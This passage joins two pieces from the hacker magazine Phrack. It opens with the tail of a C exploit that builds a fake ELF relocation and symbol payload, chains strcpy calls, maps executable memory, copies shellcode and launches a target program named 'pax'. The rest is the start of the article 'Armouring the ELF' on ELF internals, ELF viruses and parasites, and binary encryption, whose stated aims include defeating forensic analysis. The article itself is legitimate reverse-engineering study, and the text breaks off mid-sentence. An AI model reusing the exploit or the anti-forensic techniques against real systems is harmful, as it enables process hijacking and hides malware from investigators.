lng[4 + sizeof(theov)] = 0;
memset(&thebuf, 'A', sizeof(thebuf));
real_index = (VIND - VERSYM) / 2;
mysym = SYMTAB + 16 * real_index;
fprintf(stderr, "mysym=0x%x\n", mysym);
if (mysym > FRAMESINDATA
&& mysym < FRAMESINDATA + sizeof(struct ourbuf) + 16) {
fprintf(stderr,
"syment intersects our payload;"
" choose another VIND or FRAMESINDATA\n");
exit(1);
}
reloc_offset = FRAMESINDATA + offsetof(struct ourbuf, r) - JMPREL;
/* This strcpy call will relocate my_elf_sym from our payload to a fixed,
appropriate location (mysym)
thebuf.reloc.new_ebp =
FRAMESINDATA + offsetof(struct ourbuf, zero);
thebuf.reloc.func = STRCPY;
thebuf.reloc.leave_ret = LEAVERET;
thebuf.reloc.param1 = mysym;
thebuf.reloc.param2 = FRAMESINDATA + offsetof(struct ourbuf, sym);
thebuf.mymmap.new_ebp =
FRAMESINDATA + offsetof(struct ourbuf, trans);
thebuf.mymmap.put_plt_here = PLT;
thebuf.mymmap.reloc_offset = reloc_offset;
thebuf.mymmap.leave_ret = LEAVERET;
thebuf.mymmap.start = MMAP_START;
thebuf.mymmap.length = 0x01020304;
thebuf.mymmap.prot =
0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
thebuf.mymmap.flags =
0x01010000 | MAP_EXECUTABLE | MAP_FIXED | MAP_PRIVATE |
MAP_ANONYMOUS;
thebuf.mymmap.fd = 0xffffffff;
thebuf.mymmap.offset = 0x01021000;
thebuf.trans.new_ebp = 0x01020304;
thebuf.trans.func = STRCPY;
thebuf.trans.leave_ret = MMAP_START + 1;
thebuf.trans.param1 = MMAP_START + 1;
thebuf.trans.param2 = FRAMESINDATA + offsetof(struct ourbuf, hell);
memset(thebuf.hell, 'x', sizeof(thebuf.hell));
memcpy(thebuf.hell, hellcode, strlen(hellcode));
thebuf.r.r_info = 7 + 256 * real_index;
thebuf.r.r_offset = FRAMESINDATA + sizeof(thebuf) + 4;
thebuf.sym.st_name =
FRAMESINDATA + offsetof(struct ourbuf, mmapname)
+ NAME_ADD_OFF- STRTAB;
thebuf.sym.st_value = FRAMESINDATA + sizeof(thebuf) + 4;
#define ANYTHING 0xfefefe80
thebuf.sym.st_size = ANYTHING;
thebuf.sym.st_info = (unsigned char) ANYTHING;
thebuf.sym.st_other = ((unsigned char) ANYTHING) & ~3;
thebuf.sym.st_shndx = (unsigned short) ANYTHING;
strcpy(thebuf.mmapname, mmap_string);
/* setup_zero[_abs] functions prepare arguments for strcpy calls, which
are to nullify certain bytes
setup_zero(&thebuf,
offsetof(struct ourbuf, r) +
offsetof(struct my_elf_rel, r_info) + 2, 0);
setup_zero(&thebuf,
offsetof(struct ourbuf, r) +
offsetof(struct my_elf_rel, r_info) + 3, 1);
setup_zero_abs(&thebuf,
(char *) mysym + offsetof(struct my_elf_sym, st_name) + 2,
offsetof(struct ourbuf, sym) +
offsetof(struct my_elf_sym, st_name) + 2, 2);
setup_zero_abs(&thebuf,
(char *) mysym + offsetof(struct my_elf_sym, st_name) + 3,
offsetof(struct ourbuf, sym) +
offsetof(struct my_elf_sym, st_name) + 3, 3);
setup_zero(&thebuf,
offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_plt_args, start), 4);
setup_zero(&thebuf,
offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_plt_args, offset), 5);
setup_zero(&thebuf,
offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_plt_args, reloc_offset) + 2, 6);
setup_zero(&thebuf,
offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_plt_args, reloc_offset) + 3, 7);
strcpy(str, "STR=");
memcpy(str + 4, &thebuf, sizeof(thebuf));
str[4 + sizeof(thebuf)] = 0;
if (sizeof(struct ourbuf) + 4 >
strlen(str) + sizeof(thebuf.mmapname)) {
fprintf(stderr,
"Zeroes in the payload, sizeof=%d, len=%d, correct it !\n",
sizeof(struct ourbuf) + 4, strlen(str));
fprintf(stderr, "sizeof thebuf.mmapname=%d\n",
sizeof(thebuf.mmapname));
exit(1);
}
execle("./pax", "pax", 0, env, 0);
return 1;
}
<-->
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x05 of 0x0e
|=----=[ Armouring the ELF: Binary encryption on the UNIX platform ]=----=|
|=-----------------------------------------------------------------------=|
|=-------=[ grugq <grugq@lokmail.net>, scut <scut@team-teso.net> ]=------=|
--[ Contents
- Introduction
- Why encrypt?
- What is binary encryption?
- The threat
- ELF format
- ELF headers
- ELF sections
- ELF segments
- ELF support and history
- ELF loading
- ELF loading - Linux
- ELF Linux - auxiliary vectors
- ELF mapping
- Binary encryption theory
- Runtime decryption techniques
- ELF parasite approach
- Packing/Userspace ELF loader
- The future
- References
--[ Introduction
The UNIX world has lagged far behind the Microsoft world (including both
MS-DOS and MS Windows) in the twin realms of binary protection and reverse
engineering.
The variety and types of binary protection are a major area of difference.
MS Windows PE binaries can be encrypted, packed, wrapped, and thoroughly
obfuscated, and then decrypted, unpacked, unwrapped, and reconstructed.
Conversely, the best that can be done to a UNIX ELF binary is stripping the
debugging symbol table. There are no deconstructors, no wrappers, no
encrypters, and only a single packer (UPX [12], aimed at decreasing disk
space, not increasing protection) for the ELF. Clearly the UNIX ELF binary
is naked compared to the powerful protections afforded the Windows PE binary
format.
The quantity and quality of reverse engineering tools are other key areas
of significant gulf. The runtime environment of the PE binary, and indeed
the very operating system it executes on, is at the mercy of the brilliant
debugger SoftICE. Meanwhile the running ELF can only be examined one word
at a time via the crippled system call ptrace(), imperfectly interfaced via
adb and its brain dead cousin: gdb. The procfs, on those systems on which
it is present, typically only provides the ability to examine a process
rather than control it. Indeed, the UNIX world is an unrealised nightmare
for the UNIX reverse engineer. Unrealised because up until now no one has
bothered to protect an ELF binary.
--[ Why encrypt?
The prime motivator for protecting files on MS platforms has been to enforce
copy protection in a failed attempt to ensure payment for shareware
applications. As of now, there is no such motivation on the UNIX side, but
there are other reasons to protect binaries.
From the viewpoint of an attacker the reasons to protect binaries can be
listed as:
- hindering forensic analysis in case of detection
- hindering copying of confidential data (possibly by other
attackers or commercially motivated forensic investigators*)
- adding functionality to the protected binary
From the point of view of a defender, there are also good reasons to
protect binaries. These can be enumerated as
- adding a level of authorization checks
- hindering analysis of customised intrusion detection tools (tools
that an attacker might figure out how to evade, were they to
discover their purpose)
- adding functionality to the protected binary
The need to protect binaries from analysis in the UNIX world has clearly
surfaced.
- Certain big five companies sell their collections of recovered exploits
for an annual fee.
--[ What is binary encryption?
The reasons to protect a binary are clear, now we have to come up with a
good design for the protection itself. When we talk of protecting binaries
it is important to know what sort of protection we expect to achieve; we
must define our requirements. The requirements for this implementation are
as follows:
- Only authorised individuals may execute the binary.
- The on disk binary must be immune for all methods of static
analysis which might reveal anything substantial about the
purposes/methods of the binary.
- The process image of the binary, something that unfortunately
cannot be hidden, must obscure the purposes/methods of the
binary.
- The mechanism for protecting the binary must be production
quality, being both robust and reliable.
The best mechanism to fulfill all of these requirements is with some form of
encryption. We know enough of what we want that we can now define the term
"binary encryption" as the process of protecting a binary from reverse
engineering and analysis, while keeping it intact and executeable to the
underlying operating system. Thus, when we talk of binary encryption we refer
to a robust security mechanism for protecting binaries.
--[ The threat
Today most of the so called "forensic analysts" have very few tools and
knowledge at hand to counter anything more sophisticated than rm, strip and
some uncautious attacker. This has been demostrated in the public analysis of
the x2 binary [14]. Two seminal forensic investigators have been completely
stumped by a relatively simple binary protection. It is worth mentioning
that two private reverse engineers reversed the x2 binary to C source code
in approximately one day.
The Unix forensic investigater has an extremely limited range of tools at
her disposal for analysis of a compromised machine. These tools tend to
be targeted at debugging a misbehaving system, rather than analysing a
compromised system. While locate, find, lsof and netstat are fine when
attempting to keep a production system from falling over, when it comes to
investigating a breakin, they fall short on usefulness. Even TCT is severly
limited in its capabilities (although that is the subject of another
paper).
If the broad analysis of an entire system is so impaired, binary analysis
is even more so. The forensic analyst is equiped with tools designed to
debug binaries straight from the back end of an accomidating compiler, not
the hostile binaries packaged by a crafty attacker. The list of tools is
short, but for completeness presented here: strings, objdump, readelf,
ltrace, strace, and gdb. These tools are all based on two flawed interfaces:
libbfd and ptrace(). There are superior tools currently in development, but
they are primarily intended for, and used by, Unix reverse engineers and
other individuals with "alternative" motivations.
Barring these private reverse engineering applications, no Unix tools exist
to tackle sophisticated hostile code. This is because the basic Unix
debugging hooks are very limited. The ubiquitus ptrace() can be easily
subverted and confused, and while /proc interface is more feature rich, it is
not uniform across platforms. Additionally the /proc debugging interface
typically provides only information about the runtime environment of a
process, not control over its exectuion. Even the most sophisticated procfs
need not be of any help to the analyst, if the binary is sufficiently
protected.
That said, there has been some slight improvement in the quality of analysis
tools. The powerful Windows only disassembler - IDA - now provides complete
support for the ELF binary format. Indeed, with the latest release IDA can
finally handle ELF binaries without a section header table (thanks Ilfak).
These improvements in the available tools are meaningless however, unless
there is an accompanying increase in knowledge and skill for the forensic
analysers. Given that there are almost no skilled reverse engineers in
forensic analysis (based on the published material one could easily conclude
that there are none), the hackers will have the upper hand at the start of
this arms race.
As the underground world struggles with with the issue of leaking exploits
and full vs. non disclusure, more hackers will see binary encryption as a
means of securing their intellectual property. Simultaneously the security
community is going to be exposed to more encrypted binaries, and will have
to learn to analyse a hostile binary.
--[ ELF format
The 'Executeable and Linking Format' is a standardized file format for
executeable code. It is mostly used for executeable files (ET_EXEC) or for
shared libraries (ET_DYN). Currently almost all modern Unix variants
support the ELF format for its portability, standardized features and
designed-from-scratch cleaness. The actual version of the ELF standard is
1.2. There are multiple documents covering the standard, see [1].
The ELF binary format was designed to meet the requirements of both linkers
(typically used during compile time) and loaders (typically used only
during run time). This nessicitated the incorporation of two distinct
interfaces to describe the data contained within the binary file. These two
interfaces have no dependancy on each other. This section will act as a
brief introduction to both interfaces of the ELF.
--[ ELF headers
An ELF file must contain at a minimum an ELF header. The ELF header
contains information regarding how the contents of the binary file should
be interpreted, as well as the locations of the other structures describing
the binary. The ELF header starts at offset 0 within the file, and has the
following format:
#define EI_NIDENT (16)
typedef struct
{
unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
Elf32_Half e_type; /* Object file type */
Elf32_Half e_machine; /* Architecture */
Elf32_Word e_version; /* Object file version */
Elf32_Addr e_entry; /* Entry point virtual address */
Elf32_Off e_phoff; /* Program header table file offset */
Elf32_Off e_shoff; /* Section header table file offset */
Elf32_Word e_flags; /* Processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size in bytes */
Elf32_Half e_phentsize; /* Program header table entry size */
Elf32_Half e_phnum; /* Program header table entry count */
Elf32_Half e_shentsize; /* Section header table entry size */
Elf32_Half e_shnum; /* Section header table entry count */
Elf32_Half e_shstrndx; /* Section header string table index */
} Elf32_Ehdr;
The fields are explained in detail below:
* e_ident has certain known offsets that contain information about how to
treat and interpret the binary. Be warned that Linux defines additional
indices and values that are not contained in the SysV ABI, and are
therefore non-portable. These are the official known offsets, and their
potential values:
#define EI_MAG0 0 /* File identification byte 0 index */
#define ELFMAG0 0x7f /* Magic number byte 0 */
#define EI_MAG1 1 /* File identification byte 1 index */
#define ELFMAG1 'E' /* Magic number byte 1 */
#define EI_MAG2 2 /* File identification byte 2 index */
#define ELFMAG2 'L' /* Magic number byte 2 */
#define EI_MAG3 3 /* File identification byte 3 index */
#define ELFMAG3 'F' /* Magic number byte 3 */
#define EI_CLASS 4 /* File class byte index */
#define ELFCLASSNONE 0 /* Invalid class */
#define ELFCLASS32 1 /* 32-bit objects */
#define ELFCLASS64 2 /* 64-bit objects */
#define EI_DATA 5 /* Data encoding byte index */
#define ELFDATANONE 0 /* Invalid data encoding */
#define ELFDATA2LSB 1 /* 2's complement, little endian */
#define ELFDATA2MSB 2 /* 2's complement, big endian */
#define EI_VERSION 6 /* File version byte index */
#define EV_CURRENT 1 /* Value must be EV_CURRENT */
* e_type describes how the binary is intended to be utilised. The following
are legal values:
#define ET_NONE 0 /* No file type */
#define ET_REL 1 /* Relocatable file */
#define ET_EXEC 2 /* Executable file */
#define ET_DYN 3 /* Shared object file */
#define ET_CORE 4 /* Core file */
* e_machine indicates for which architecture the object file is
intended. The following is a short list of the most common values:
#define EM_SPARC 2 /* SUN SPARC */
#define EM_386 3 /* Intel 80386 */
#define EM_SPARCV9 43 /* SPARC v9 64-bit */
#define EM_IA_64 50 /* Intel Merced */
* e_version indicates which version of ELF the object file conforms too.
Currently it must be set to EV_CURRENT, identical to
e_ident[EI_VERSION].
* e_entry contains the relative virtual address of the entry point to the
binary. This is traditionally the function _start() which is located at
the start of the .text section (see below). This field only has meaning
for ET_EXEC objects.
* e_phoff conatins the offset from the start of the file to the first
Program Header (see below). This field is only meaningful in ET_EXEC and
ET_DYN objects.
* e_shoff contains the offset from the start of the file to the first
Section Header (see below). This field is always useful to the reverse
engineer, but only required on ET_REL files.
* e_flags contains processor specific flags. This field is not used on
i386 or SPARC systems, so it can be safely ignored.
* e_ehsize contains the size of the ELF header. This is for error checking
and should be set to sizeof(Elf32_Ehdr).
* e_phentsize contains the size of a Program Header. This is for error
checking and should be set to sizeof(Elf32_Phdr).
* e_phnum contains the number of Program headers. The program header table
is an array of Elf32_Phdr with e_phnum elements.
* e_shentsize contains the size of a Section Header. This is for error
checking and should be set to sizeof(Elf32_Shdr).
* e_shnum contains the number of Section headers. The section header table
is an array of Elf32_Shdr with e_shnum elements.
* e_shstrndx contains the index within the section header table of the
section containing the string table of section names (see below).
The following two sections describe in detail the linking interface and the
execution interface to the ELF, respectively.
--[ ELF Sections
The interface used when linking multiple object files together is the Section
interface. The binary file is viewed as an collection of sections; each an
array of bytes of which no byte may reside in more than one secion. The
contents of a section may be interpreted in any way by the inspecting
application, although there is helper information to enable an application
to correctly interpret a section's contents. Each section is described by a
section header, contained within a section header table typically located
at the end of the object. The section header table is an array of section
headers in arbitrary order, although usually in the same order as they
appear in the file, with the only exeption being that the zeroeth entry is
the NULL section: a section which is set to 0 and doesn't describe any part
of the binary. Each section header has the following format:
typedef struct
{
Elf32_Word sh_name; /* Section name (string tbl index) */
Elf32_Word sh_type; /* Section type */
Elf32_Word sh_flags; /* Section flags */
Elf32_Addr sh_addr; /* Section virtual addr at execution */
Elf32_Off sh_offset; /* Section file offset */
Elf32_Word sh_size; /* Section size in bytes */
Elf32_Word sh_link; /* Link to another section */
Elf32_Word sh_info; /* Additional section information */
Elf32_Word sh_addralign; /* Section alignment */
Elf32_Word sh_entsize; /* Entry size if section holds table */
} Elf32_Shdr;
The fields of the section header have the following meanings:
* sh_name contains an index into the section contents of the e_shstrndx
string table. This index is the start of a null terminated string to
be used as the name of the section. There are reserved names, the
most important being:
.text Executable object code
.rodata Read only strings
.data Initialised "static" data
.bss Zero initialized "static" data, and the
base of the heap
* sh_type contains the section type, helping the inspecting application
to determine how to interpret the sections contents. The following
are legal values:
#define SHT_NULL 0 /* Section header table entry unused */
#define SHT_PROGBITS 1 /* Program data */
#define SHT_SYMTAB 2 /* Symbol table */
#define SHT_STRTAB 3 /* String table */
#define SHT_RELA 4 /* Relocation entries with addends */
#define SHT_HASH 5 /* Symbol hash table */
#define SHT_DYNAMIC 6 /* Dynamic linking information */
#define SHT_NOTE 7 /* Notes */
#define SHT_NOBITS 8 /* Program space with no data (bss) */
#define SHT_REL 9 /* Relocation entries, no addends */
#define SHT_SHLIB 10 /* Reserved */
#define SHT_DYNSYM 11 /* Dynamic linker symbol table */
* sh_flags contains a bitmap defining how the contents of the section
are to be treated at run time. Any bitwise OR'd value of the
following is legal:
#define SHF_WRITE (1 << 0) /* Writable */
#define SHF_ALLOC (1 << 1) /* Occupies memory during execution */
#define SHF_EXECINSTR (1 << 2) /* Executable */
* sh_addr contains the relative virtual address of the section during
runtime.
* sh_offset contains the offset from the start of the file to the first
byte of the section.
* sh_size contains the size in bytes of the section.
* sh_link is used to link associated sections together. This is
typically used to link a string table to a section whose contents
require a string table for correct intepretation, e.g. symbol tables.
* sh_info is a used to contain extra information to aid in link
editing. This field has exactly two uses, indicating which section a
relocation applies to for SHT_REL[A] sections, and holding the
maximum number of elements plus one within a symbol table.
* sh_addralign contains the alignment requirement of section contents,
typically 0/1 (both meaning no alignment) or 4.
* sh_entsize, if the section holds a table, contains the size of each
element. Used for error checking.
--[ ELF Segments
The ELF segment interface is used to during the creation of a process
image. Each segment, a contiguous stream of bytes, (not to be confused with
a memory segment, i.e. one page) is described by a program header. The
program headers are contained in a program header table described by the
ELF header. This table can be located anywhere, but is typically located
immediately after the ELF header *. The program header is now described in
depth:
typedef struct
{
Elf32_Word p_type; /* Segment type */
Elf32_Off p_offset; /* Segment file offset */
Elf32_Addr p_vaddr; /* Segment virtual address */
Elf32_Addr p_paddr; /* Segment physical address */
Elf32_Word p_filesz; /* Segment size in file */
Elf32_Word p_memsz; /* Segment size in memory */
Elf32_Word p_flags; /* Segment flags */
Elf32_Word p_align; /* Segment alignment */
} Elf32_Phdr;
The fields have the following meanings:
* p_type describes how to treat the contents of a segment. The
following are legal values:
#define PT_NULL 0 /* Program header table entry unused */
#define PT_LOAD 1 /* Loadable program segment */
#define PT_DYNAMIC 2 /* Dynamic linking information */
#define PT_INTERP 3 /* Program interpreter */
#define PT_NOTE 4 /* Auxiliary information */
#define PT_SHLIB 5 /* Reserved */
#define PT_PHDR 6 /* Entry for header table itself */
* p_offset contains the offset within the file of the first byte of the
segment.
* p_vaddr contains the realtive virtual address the segment expects to
be loaded into memory at.
* p_paddr contains the physical address of the segment expects to be
loaded into memory at. This field has no meaning unless the hardware
supports and requires this information. Typically this field is set to
either 0 or the same value as p_vaddr.
* p_filesz contains the size in bytes of the segment within the file.
* p_memsz contains the size in bytes of the segment once loaded into
memory. If the segment has a larger p_memsz than p_filesz, the
remaining space is initialised to 0. This is the mechanism used to
create the .bss during program loading.
* p_flags contains the memory protection flags for the segment once
loaded. Any bit wise OR'd combination of following are legal values:
#define PF_X (1 << 0) /* Segment is executable */
#define PF_W (1 << 1) /* Segment is writable */
#define PF_R (1 << 2) /* Segment is readable */
* p_align contains the alignment for the segment in memory. If the
segment is of type PT_LOAD, then the alignment will be the expected
page size.
- FreeBSD's dynamic linker requires the program header table to be located
within the first page (4096 bytes) of the binary.
--[ ELF format - support and history
The ELF format has widely gained acceptance as a reliable and mature
executeable format. It is flexible, being able to support different
architectures, 32 and 64 bit alike, without compromising too much of its
design.
As of now, the following systems support the ELF format:
DGUX | ELF, ?, ?
FreeBSD | ELF, 32/64 bit, little/big endian
IRIX | ELF, 64 bit, big endian
Linux | ELF, 32/64 bit, little/big endian
NetBSD | ELF, 32/64 bit, little/big endian
Solaris | ELF, 32/64 bit, little/big endian
UnixWare | ELF, 32 bit, little endian
The 32/64 bit differences on a single system is due to different
architectures the operating systems is able to run on.
--[ ELF loading
An ELF binary is loaded by mapping all PT_LOAD segments into memory at the
correct locations (p_vaddr), the binary is checked for library dependancies
and if they exist those libraries are loaded. Finally, any relocations that
need to be done are performed, and control is transfered to the main
executable's entry point. The accompanying code in load.c demonstrates one
method of doing this (based on the GNU dynamic linker).
--[ ELF loading - Linux
Once the userspace receives control, we have this situation:
- All PT_LOAD segments of the binary, or if its dynamicly linked:
the dynamic linker, are mapped properly
- Entry point: In case there is a PT_INTERP segment, the program
counter is set to the entry point of the program interpreter.
- Entry point: In case there is no PT_INTERP segment, the program
counter is initialized to the ELF header's entry point.
- The top of the stack is initialized with important data, see
below.
When the userspace receives control, the stack layout has a fixed format.
The rough order is this:
<arguments> <environ> <auxv> <string data>
The detailed layout, assuming IA32 architecture, is this (Linux kernel
series 2.2/2.4):
position content size (bytes) + comment
------------------------------------------------------------------------
stack pointer -> [ argc = number of args ] 4
[ argv[0] (pointer) ] 4 (program name)
[ argv[1] (pointer) ] 4
[ argv[..] (pointer) ] 4 * x
[ argv[n - 1] (pointer) ] 4
[ argv[n] (pointer) ] 4 (= NULL)
[ envp[0] (pointer) ] 4
[ envp[1] (pointer) ] 4
[ envp[..] (pointer) ] 4
[ envp[term] (pointer) ] 4 (= NULL)
[ auxv[0] (Elf32_auxv_t) ] 8
[ auxv[1] (Elf32_auxv_t) ] 8
[ auxv[..] (Elf32_auxv_t) ] 8
[ auxv[term] (Elf32_auxv_t) ] 8 (= AT_NULL vector)
[ padding ] 0 - 16
[ argument ASCIIZ strings ] >= 0
[ environment ASCIIZ str. ] >= 0
(0xbffffffc) [ end marker ] 4 (= NULL)
(0xc0000000) < top of stack > 0 (virtual)
------------------------------------------------------------------------
When the runtime linker (rtld) has done its duty of mapping and resolving
all the required libraries and symbols, it does some initialization work
and hands over the control to the real program entry point afterwards. As
this happens, the conditions are:
- All required libraries mapped from 0x40000000 on
- All CPU registers set to zero, except the stack pointer ($sp) and
the program counter ($eip/$ip or $pc). The ABI may specify
further initial values, the i386 ABI requires that %edx is set to
the address of the DT_FINI function.
--[ ELF loading - auxiliary vectors (Elf32_auxv_t).
The stack initialization is somewhat familar for a C programmer, since he
knows the argc, argv and environment pointers from the parameters of his
'main' function. It gets called by the C compiler support code with exactly
this parameters:
main (argc, &argv[0], &envp[0]);
However, what is more of a mystery, and usually not discussed at all, is
the array of 'Elf32_auxv_t' vectors. The structure is defined in the elf.h
include file:
typedef struct
{
int a_type; /* Entry type */
union
{
long int a_val; /* Integer value */
void *a_ptr; /* Pointer value */
void (*a_fcn) (void); /* Function pointer value */
} a_un;
} Elf32_auxv_t;
It is a generic type-to-value relationship structure used to transfer very
important data from kernelspace to userspace. The array is initialized on
any successful execution, but normally it is used only by the program
interpreter. Lets take a look on the 'a_type' values, which define what
kind of data the structure contains. The types are found in the 'elf.h'
file, and although each architecture implementing the ELF standard is
free to define them, there are a lot of similarities among them. The
following list is from a Linux 2.4 kernel.
/* Legal values for a_type (entry type). */
#define AT_NULL 0 /* End of vector */
#define AT_IGNORE 1 /* Entry should be ignored */
#define AT_EXECFD 2 /* File descriptor of program */
#define AT_PHDR 3 /* Program headers for program */
#define AT_PHENT 4 /* Size of program header entry */
#define AT_PHNUM 5 /* Number of program headers */
#define AT_PAGESZ 6 /* System page size */
#define AT_BASE 7 /* Base address of interpreter */
#define AT_FLAGS 8 /* Flags */
#define AT_ENTRY 9 /* Entry point of program */
#define AT_NOTELF 10 /* Program is not ELF */
#define AT_UID 11 /* Real uid */
#define AT_EUID 12 /* Effective uid */
#define AT_GID 13 /* Real gid */
#define AT_EGID 14 /* Effective gid */
#define AT_CLKTCK 17 /* Frequency of times() */
Some types are mandatory for the runtime dynamic linker, while some are
merely candy and remain unused. Also, the kernel does not have to use every
type, infact, the order and occurance of the elements are subject to change
across different kernel versions. This turns out to be important when
writing our own userspace ELF loader, since the runtime dynamic linker may
expect a certain format, or even worse, the headers we receive by the
kernel ourselves are in different order on different systems (Linux 2.2 to
2.4 changed behaviour, for example). Anyway, if we stick to a few simple
rules when parsing and setting up the headers, few things can go wrong:
- Always skip sizeof(Elf32_auxv_t) bytes at a time
- Skip any unknown AT_* type
- Ignore AT_IGNORE types
- Stop processing only at AT_NULL vector
On Linux, the runtime linker requires the following Elf32_auxv_t
structures:
AT_PHDR, a pointer to the program headers of the executeable
AT_PHENT, set to 'e_phentsize' element of the ELF header (constant)
AT_PHNUM, number of program headers, 'e_phnum' from ELF header
AT_PAGESZ, set to constant 'PAGE_SIZE' (4096 on x86)
AT_ENTRY, real entry point of the executeable (from ELF header)
On other architectures there are similar requirements for very important
auxiliary vectors, with which the runtime linker would not be able to work.
Some further details about the way Linux starts up an executeable can be
found at [11].
--[ Binary encryption theory
There is nothing new about encrypting binaries, indeed since the 1980's
there have been various mechanisms developed for protecting binaries on
personal computers. The most active developers of binary protections have
been virus writers and shareware developers. While these techniques have
evolved with advances in processing power and operating system architecture,
most of the basic concepts remain the same. Essentially a plaintext
decryption engine will execute first and it will decrypt the next encrypted
section of code, this might be the main .text, or it might be another
decryption engine.
Barring a flawed and easily cracked encryption technique (e.g. XOR with a
fixed value), the first plaintext decryptor is the usually the weak point of
any encrypted binary. Due to this weakness, a number of various methods have
been developed for making the initial decryption engine as difficult to
reverse engineer as possible.
The following is just a brief list of methods that have been used to
protect the initial decryption engine:
* Self Modifying Code: Code which alters itself during run time, so that
analysis of the binary file on disk is different from analysis of the
memory image.
* Polymorphic Engines: Creates a unique decryption engine each time it is
used so that it is more difficult to compare two files. Also, it is
slightly more difficult to reverse engineer.
* Anti-Disassembling/Debugging tricks: Tricks which attempt to confuse
the tools being used by the reverse engineer. This makes it difficult
for the analyst to discover what the object code is doing.
The following is a short list of encryption methods that have been used to
protect the main object code of the executable:
* XOR: The favourite of any aspiring hacker, xor is frequently used to
obfuscate code with a simple encryption. These are usually very easily
broken, but extend slightly the time it takes to reverse engineer.
* Stream Ciphers: Ideal for binary encryption, these are usually strong,
small and can decrypt an arbitray number of bytes. A binary properly
encrypted with a stream cipher is impregnable to analysis.
* Block Ciphers: These are more awkward to use for binary encryption
because of the block alignment requirements.
* Virtual CPUs: A painstaking and powerful method of securing a binary.
The object code actually runs on a virual CPU that needs to be
independantly analysed first. Very painful for a reverse engineer (and
also the developer).
There are even mechanisms to keep the plaintext as safe as possible in
memory. Here is a partial list of some of these mechanisms:
* Running Line Code: This is when only the code immediately needed is
decrypted, and then encrypted again after use. CPU intensive, but
extremely difficult to analyse.
* Proprietary Binary Formats: If the object code is stored in an unknown
format, it is quite difficult for the reverse engineer to determine what
is data and what is text.
--[ Runtime encryption techniques
--[ The virus approach
Adding code to an ELF executeable is far from being new. There have been
known ELF viruses since about 1997, and Silvio was the first to publish
about it [2], [3].
One nasty property about the ELF format is its "easy loading" design
goal. The program headers and the associated segments map directly into the
memory, speeding up the preparation of the executeable when executing it.
The way its implemented in the ELF format makes it difficult to change the
file layout after linking. To add code or to modify the basic structure
becomes nearly impossible, since a lot of hardcoded values cannot be
adjusted without knowing the pre-linking information, such as relocation
information, symbols, section headers and the like. But most of such
information is either gone in the binary or incomplete.
Even with such information, modifying the structure of the ELF
executeable is difficult (without using a sophisticated library such as
libbfd). For an in-depth discussion about reducing the pain when modifying
shared libraries with most of the symbol information intact, klog has
written an article about it [4].
Because of this difficulties, most attempts in the past have focused on
exploiting 'gaps' within the ELF binary, that get mapped into memory when
loading it, but remain unused. Such areas are needed to align the memory on
pages. As mentioned earlier, ELF has been designed for fast loading, and
this alignment in the file guarantees a one-to-one mapping of the file into
the memory. Also, as we will see below, this alignment allows easy
implementation of page-wise granularity for read, write and execution
permission.
So the 'usual' ELF virus searches through the host executeable for such
gaps, and in case a sufficient large area has been found it writes a copy
of itself into it. Afterwards it redirects the execution flow of the
program to its own area, often by just modifying the program entry point in
the ELF header. There have been numerous examples for such viruses, most
notable the 'VIT' [5] and 'Brundle-Fly' [6] virii.
While this approach works moderatly well in practice, it cannot infect
every ET_EXEC ELF executeable. The page size (PAGE_SIZE) on a UNIX system
is often 4096, and since the padding can take up at max a whole page, the
chances of finding a possible gap is dependant on the virus size and the
host executeable. An average virus of the above type takes about 2000 bytes
and hence can infect only about 50 percent of all executeables. While for
virii this adds some non-deterministic fun and does not really matter, for
reliable binary encryption this approach has serious drawbacks.
However, there have been mad people using this approach for basic binary
encryption purposes. The program which does this is called dacryfile. There
is a demonstration copy of dacryfile* available from [7]. Dacryfile uses a
data injected parasite to perform the run time decryption of the host file.
While dacryfile is undocumented, a limited amount of information is provided
here for the curious.
Dacryfile is a collection of tools which implement the following concept.
The host file is encrypted from the start of the .text section, to the end
of the .text segment. The file now has its object code and its read only
data protected by encryption, while all its data and dynamic objects are
open to inspection. The host file is injected with a parasite that will
perform the runtime decryption. This parasite can be of arbitrary size
because it is appended to the end of the .data segment.
The default link map of a gcc produced Linux ELF has the .dynamic section
as the last prior to the .bss section. The .dynamic section is an array of
Elf32_Dyn structures, terminated by a NULL struct tag. Therefore, regardless
of how big the .dynamic section, processing of its contents will halt when
the terminating Elf32_Dyn struct is encountered. A parasite can be injected
at the end of the section without damaging the host file in any way. The
dacryfile program "inject" appends the .text section from a parasite object
file onto the .dynamic section of a host binary.
The parasite itself is fairly simple, utilising the subversive dynamic
linking Linux library to access libc functions, and rc4 to decrypt the host.
The dacryfile collection is unsupported and undocumented, it and all other
first generation binary encryptors, are a dead end. However, a dacryfile
protected binary will be extremely immune from the recent pitiful attempts
at reverse engineering by the forensic experts. Provided the encryption
passphrase remains secret, and is strong enough to withstand a brute force
attack, a dacryfile protect binary will keep is its object code or read-only
data secure from examination. The dynamic string table will still be
available, but that will provide limited information about the functionality
of the binary.
Also included with the article is a stripped down but functional loader of
the burneye runtime encryption program. It is commented and should work
just fine.
- dacryphilia is a fetish in which one gains sexual arousal through the
tears of one's partner.
--[ Packing/Userspace ELF loader
The most flexible approach to wrap an executeable has been invented by the
developers of the UPX packer [12], by John Reiser to be exact :). They load
the binary in userspace, much like the kernel does it. When done properly
there is no visible change in behaviour to the wrapped program, while it
has no constrains on either the wrapper or the wrapped executeable, as the
techniques mentioned before have. So this is the way we want to encrypt
binaries, by loading them from userspace.
Normally the kernel is responsible for loading the ELF executeable into
memory, setting page permissions and allocating storage. Then it passes
control to the code in the executeable.
On todays system this is not fully true anymore. The kernel still does a
lot of initial work, but then interacts with a userspace runtime linker
(rtld) to resolve libraries dependancies, symbols and linking preparations.
Only after the rtld has done the whole backstage work, control is passed to
the real programs entry point. The program finds itself in a healthy
environment with all library symbols resolved, well prepared memory layout
and a carefully watching runtime linker in the background.
In normal system use this is a very hidden operation and since it works
so smooth nobody really cares. But as we are going to write a userspace ELF
loader, we have to mess with the details. To get a rough impression, just
write a simple "hello world" program in C, compile it, and instead of just
running it, do a strace on it. Ever wondered what happens as so many
syscalls are issued by your one-line executeable?
This is the runtime linker in action, trying to resolve your 'printf'
symbol after it mapped the entire C library into memory and prepared the
page permissions.
A lot of interesting details about the history of linkers and program
